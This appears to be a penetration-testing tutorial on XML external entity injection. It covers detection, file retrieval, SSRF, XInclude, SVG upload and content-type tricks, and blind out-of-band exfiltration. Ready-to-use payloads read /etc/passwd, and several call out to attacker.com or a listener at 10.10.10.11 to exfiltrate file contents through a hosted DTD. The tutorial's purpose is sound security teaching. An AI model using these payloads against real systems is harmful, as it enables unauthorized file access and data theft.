

# XXE (XML EXTERNAL ENTITY) INJECTION

- 1) What is XXE INJECTION
- 2) How do XXE Vulnerabilities Arise?
- 3) Types of XXE Attacks?

## 1) What is XXE INJECTION?

XML external entity injection (also known as XXE) is a **web security vulnerability** that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to **view files on the application server filesystem**, and to interact with any back-end systems that the application itself can access.

In some situations, an attacker can escalate an XXE attack to **compromise the underlying server** or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.

## 2) How do XXE Vulnerabilities Arise?

Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. XXE vulnerabilities arise because the XML specification contains **various potentially dangerous features**, and standard parsers support these features even if they are not normally used by the application.

### 3) Types of XXE Attacks?

- Classic XXE Injection
- Blind XXE Injection

#### I. **Classic XXE Injection :**

- How to detect Classic XXE
- Exploiting XXE to Retrieve Files
- Exploiting XXE to SSRF Attack
- Exploiting Hidden XXE Attack:
  - . [Xinclude Attacks](#)
  - . [XXE Attack Via File Uploads](#)
  - . [XXE Attack Via Modifies Content-Type](#)

#### II. **Blind XXE Injection :**

- How to detect Blind XXE Using Out of Band
- Exploiting Blind XXE to Exfiltrate Data Out of Band
- Exploiting Blind XXE to Retrieve Data via Error Messages

## Classic XXE Injection :

- **How to Detect Classic XXE Vulnerability:** Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
  <userInfo>
    <firstName>John</firstName>
    <lastName>&example;</lastName>
  </userInfo>
```

- **Exploiting XXE to Retrieve Files:**

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  <productId>&xxe;</productId>
```

- **Exploiting XXE to Perform SSRF Attack:**

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost/admin"> ]>
  <productId>&xxe;</productId>
```

## ■ Xinclude Attack :

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

## ■ Exploiting XXE via Image File Upload :

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

## ■ Exploiting XXE via Modified Content-Type :

```
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
```

Then you might be able submit the following request, with the same result:

```
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```

## Blind XXE Injection :

### ■ Detecting Blind XXE Using Out-of-Band Techniques :

```
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>
```

### ■ Exploiting Blind XXE to Exfiltrate data Out-of-Band :

# use this code as a XXE Payload

```
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.10.11/pen.dtd"> %xxe; ]>
```

```
# Save this below text as a pen.dtd  
# python3 -m http.server 80
```

```
<!ENTITY % file SYSTEM "file:///etc/passwd">  
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.10.11/?x=%file;'>">  
%eval;  
%exfiltrate;
```

# on Kali Linux nc -nvlp 80

```
(pentestblog@Pentestblog)-[~]  
$ nc -nvlp 80  
listening on [any] 80 ...  
  
<!ENTITY % eval  
%eval;
```

## ■ Exploiting Blind XXE to Retrieve Data via Error Message :

# use this code as a XXE Payload

```
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.10.11/pen.dtd"> %xxe; ]>
```

```
# Save this below text as a pen.dtd  
# python3 -m http.server 80
```

```
<!ENTITY % file SYSTEM "file:///etc/passwd">  
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'file:///any/%file;'">  
%eval;  
%exfiltrate;
```